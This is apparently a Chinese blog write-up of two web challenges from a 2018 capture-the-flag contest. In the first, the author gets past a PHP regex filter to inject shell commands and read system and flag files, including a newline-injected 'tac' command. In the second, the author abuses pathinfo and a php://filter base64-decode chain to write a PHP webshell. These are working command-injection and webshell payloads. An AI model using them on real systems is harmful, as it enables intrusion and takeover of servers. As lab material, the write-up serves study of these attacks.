EDU-CTF Final 2018 Web小记

 

前言

当时比赛的时候正在复习期末,根本没空玩。昨天忙完,终于有时间仔细看看了。

 

TwoFile

直接给出源码,要命令执行

<?php

highlight_file(__FILE__);

$file1 = $_GET['f1'];
$file2 = $_GET['f2'];

// WAF
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file1))
    $file1 = "";
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file2))
    $file2 = "";

// Prevent injection
$file1 = '"' . $file1 . '"';
$file2 = '"' . $file2 . '"';

$cmd = "file $file1 $file2";
system($cmd);

首先来看看最后的执行

$cmd = "file $file1 $file2";
system($cmd);

system函数执行file命令,而后面有两段是可控的。
来看看file命令的使用:http://man.linuxde.net/file
语法:file(选项)(参数)
选项:

-b:列出辨识结果时,不显示文件名称;
-c:详细显示指令执行过程,便于排错或分析程序执行的情形;
-f<名称文件>:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称;
-L:直接显示符号连接所指向的文件类别;
-m<魔法数字文件>:指定魔法数字文件;
-v:显示版本信息;
-z:尝试去解读压缩文件的内容。-z:尝试去解读压缩文件的内容。

首先不考虑任意命令执行的可能,只用file命令去读文件。那么如何去绕过WAF和Prevent injection呢。观察WAF之后发现了一个漏洞点:waf是用\来过滤反斜线的。而查资料之后可以发现

正确的正则匹配反斜线应该是\\,而就可以在最后执行的语句中出现了,而反斜杠的使用就可以轻松绕过Prevent injection。就能结合file命令的选项去读文件了。

下面给出几个payload:

其实file命令本身的-f参数就能直接读文件了
$file1:-f
$file2:/etc/hosts
最后传进去的命令file "-f" "/etc/hosts"
-f参数将文件的内容当作文件名去读取,若文件不存在的话就可以在报错中看到内容。因为waf了w所以读取/etc/hosts,这里并没有使用到通配符绕过,因为file1处并没有使用反斜杠,所以后面的内容是被双引号括起来的,通配符不被识别。

或是-m参数

$file1-m
$file2:/etc/hosts
最后传入file "-m" " /etc/hosts",然而不知道为什么我在终端跑可以,在php这里执行就没回显,如果有师傅知道请指点一波。我感觉是双引号的锅,$cmd是被双引号括起来的,应该发生了一些东西。

然后是通过f1传入反斜杠来读取文件。

在转义掉双引号之后,可以使用通配符来绕过关键词。比如我在根目录创建了flag文件。

$file1:
$file2: -m /fl?g 2>&1 #(注意空格和url编码之后传参)
2>&1 :接着,标准错误输出重定向(等同于)标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

这里如果不加2>&1的话是执行不了的。原因应该和上面那个一样

-f的话就不需要了
$file1:
$file2: -f /f?ag #

或者

使用$1来绕过。
$file1:
$file2: -f /fl$1ag #
在linux中,$1作为一个变量,默认为空,同样达到了bypass关键词的效果。

或是考虑执行其他命令的情况,这个我在比赛的时候就想到了,读文件有好多别的方法:https://blog.csdn.net/yuyongpeng/article/details/1818713
我这里用tac。那么要怎么分隔两个命令呢?我这里用的是%0a,可以轻松绕过正则中的n,相信这一点大家在sql注入中遇到的太多了。

/?f1=&f2=%20%0atac /f?ag%0a

 

HackerTyper

由于环境没有了,所以我这里把关键代码拿出来看的。

<?php

$sandbox = "/var/www/html/sandbox/" . md5($_SERVER['REMOTE_ADDR'] . "QQ");
@mkdir($sandbox);
@chdir($sandbox);

$path = 'code.txt';

if ( isset($_GET['_']) && isset($_GET['f']) ) {

    $_ = $_GET['_'];
    $f = $_GET['f'];

    if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
        die("No h4cker will use h :p");

    $c = "Q____Q" . base64_encode($_);

    $path = 'sandbox/' . md5($_SERVER['REMOTE_ADDR'] . "QQ") . '/' . $f;
    echo $path;
    @file_put_contents($f, $c);

}
?>

题目思路很清晰,绕过waf写shell。

waf是文件后缀不能带有h,而且shell的内容会被base64_encode然后最前面拼接上Q____Q

一步一步来分析。首先是后缀的bypass
关键代码:

if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
        die("No h4cker will use h :p");

可以利用pathinfo($f, PATHINFO_EXTENSION)的漏洞来绕过waf。首先来做个实验。
pathinfo($f, PATHINFO_EXTENSION)获取的是.后面的内容,绕过出现两个.,最后结果是后面一个.后面的内容

所以只要使用ylg.php/.就能简单绕过。

因为会给内容自动base64_encode,所以只要输入来做base64 decode就可以将shell写入了。

这里可以使用php://filter来控制base64_decode的输入。可以参考p牛的文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html 很经典的绕过姿势。想起来去年NCTF2017的时候还见过。

base64_encode('<?php system($_GET[1])?>aa') 的结果PD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE=

  • echo urlencode(base64_decode("aaPD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE="));
    为什么要在前面加aa呢,因为base64算法解码时是4个byte一组,所以给他增加2个a,和前面的Q_____Q一共8个字符。

最后Payload:

/?f=php://filter/convert.base64-decode/resource=ylg.php/.&_=i%A3%C3%F7%06%87%02%077%977FV%D2%82E%F4tUE%B3%15%D2%93%F3%E6%16

成功写shell~

 

后记

这次比赛确实挺有意思的,可惜了当时在期末考试没时间做。

(完)